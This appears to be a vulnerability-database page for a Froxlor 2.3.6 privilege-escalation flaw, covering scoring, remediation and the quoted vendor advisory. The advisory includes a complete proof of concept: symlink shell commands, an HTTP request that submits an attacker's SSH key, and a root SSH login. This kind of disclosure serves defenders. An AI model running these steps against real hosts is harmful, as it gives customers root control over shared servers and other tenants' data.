Skip to main content

Froxlor CVE-2026-41236

| EUVDEUVD-2026-34315 HIGH
Improper Link Resolution Before File Access (CWE-59)
2026-05-29 https://github.com/froxlor/froxlor GHSA-mq5v-pxpm-8jw2
8.8
CVSS 3.1 · Vendor: https://github.com/froxlor/froxlor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Froxlor as shell-enabled customer
  2. Delivery
    Shell into customer home directory
  3. Exploit
    Symlink ~/.ssh/authorized_keys to /root/.ssh/authorized_keys
  4. Install
    Submit SSH public key via customer_ftp.php
  5. C2
    Wait for root cron to run rebuildnssusers task
  6. Execute
    Cron appends key through symlink to root authorized_keys
  7. Impact
    SSH into host as root with attacker keypair

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
Exploitation Conditions

Exploitation requires an authenticated Froxlor customer account with the shell_allowed=1 capability enabled at the customer level, write access to the customer's own home directory (the normal Froxlor provisioning grants this), and the ability to submit an SSH public key for one of the customer's FTP users through customer_ftp.php?page=sshkeys&action=add with a valid CSRF token. The privileged Froxlor master cron must be running as root and must process the queued REBUILD_NSSUSERS task for the symlink-follow to fire - meaning exploitation is gated by cron timing rather than instantaneous. Limiting factors that reduce real-world risk: deployments that disable shell access for all customers, single-tenant installs with no untrusted customer accounts, and installations on filesystems mounted with restrictive symlink-protection sysctls (e.g., fs.protected_symlinks=1 does not block this specific case because the writer is root, so this sysctl is NOT a mitigation - defenders should not rely on it).

Impact

The CVSS 3.1 base score of 8.8 with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H reflects network reachability via the Froxlor panel, low complexity, low privileges (any shell-enabled customer), no user interaction, and full CIA impact at the OS level - accurately capturing customer-to-root privilege escalation on the managed host. No EPSS, KEV, or SSVC data was provided in the input; the vulnerability is not listed as actively exploited and there is no public exploit identified at time of analysis beyond the detailed PoC published in the GHSA advisory itself, which lowers the noise-floor risk but means any exposed multi-tenant Froxlor instance running 2.3.6 should treat this as high-priority because the PoC is reliable and the impact is total host compromise. The 'low privileges' rating assumes a routine shell-enabled customer account, which is the normal entitlement for many Froxlor tenants - defenders running single-tenant deployments without untrusted customers face materially lower real-world risk than shared-hosting providers.

Exploit ScenarioDerived

A customer of a shared-hosting provider running Froxlor 2.3.6 logs in to their tenant account, opens a shell into their own home directory, deletes ~/.ssh/authorized_keys and replaces it with ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys. They then submit a new SSH public key via the Froxlor customer panel at customer_ftp.php?page=sshkeys&action=add; on the next master-cron tick, the root-owned SshKeys::generateFiles() follows the symlink and appends the attacker's key to /root/.ssh/authorized_keys, after which the attacker logs in as root over SSH with their private key. A complete reproducible PoC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Privilege escalation in Froxlor 2.3.6 allows an authenticated customer with shell access to gain root SSH on the managed host by exploiting a symlink-following flaw in the root-owned SSH key synchronization cron. By replacing the customer's ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys before the privileged sync runs, attacker-supplied keys are appended to root's authorized_keys. No public exploit identified at time of analysis beyond the detailed PoC in the GHSA advisory, and the issue is fixed in Froxlor 2.3.7.

RemediationAI

Vendor-released patch: upgrade Froxlor to version 2.3.7 or later, which is referenced as the fixed release in the GHSA advisory at https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2 and the GitHub advisories mirror at https://github.com/advisories/GHSA-mq5v-pxpm-8jw2. If immediate upgrade is not possible, the most effective compensating controls are to disable the shell_allowed capability for all customer accounts in the Froxlor admin panel (which blocks the SSH key submission path entirely, at the cost of removing legitimate SSH/SFTP key-based access for tenants), and to audit existing /home/*/.ssh/authorized_keys paths on the host for symbolic links and replace any symlinks with regular files before the next cron run. Operators can additionally relocate or restrict the rebuildnssusers cron task to a hardened wrapper that resolves the home-directory path with realpath and refuses to write if the resolved target leaves the customer's home, though this requires local code modification and may break legitimate provisioning until the official patch is applied.

Affected VersionsENISA

Froxlor = 2.3.6

Affected Packages

composer froxlor/froxlor fix: 2.3.7
euvd froxlor no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Froxlor is a PHP-based open-source server-management panel (composer package froxlor/froxlor) used to provision web hosting, FTP, and SSH accounts on Linux hosts. The root cause is CWE-59 (Improper Link Resolution Before File Access, aka symlink following): the cron path SshKeys::generateFiles() derives $userinfo['homedir'] . '/.ssh/authorized_keys' through FileDir::makeCorrectFile(), which only normalizes slash characters and does not call realpath(), lstat(), or O_NOFOLLOW-equivalent checks. Because customers own their home directories, the unresolved path can be a symlink pointing anywhere on the filesystem, and the subsequent file_put_contents(..., FILE_APPEND | LOCK_EX) executes with root privileges and writes through the link to the target file (e.g., /root/.ssh/authorized_keys).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/froxlor/froxlor) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/froxlor/froxlor) · only source for this CVE.

CVSS VectorVendor: https://github.com/froxlor/froxlor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

php
// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

php
// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

php
// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

php
// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

php
// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell_allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
bash
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
http
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
bash
ssh -i id_ed25519 root@target.example

Result:

  • the root-owned cron task follows the symlinked authorized_keys path
  • the submitted public key is appended to /root/.ssh/authorized_keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Executive ViewAI

Why It Matters

Froxlor 2.3.6 contains a privilege escalation flaw permitting authenticated customers with shell access to gain unauthorized root SSH access. In multi-tenant hosting environments, this completely undermines the security isolation between customer accounts and hosting infrastructure. Organizations running this version require immediate upgrade to 2.3.7.

Business Impact: High
Compensating Controls

Apply vendor patch: Froxlor 2.3.7

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy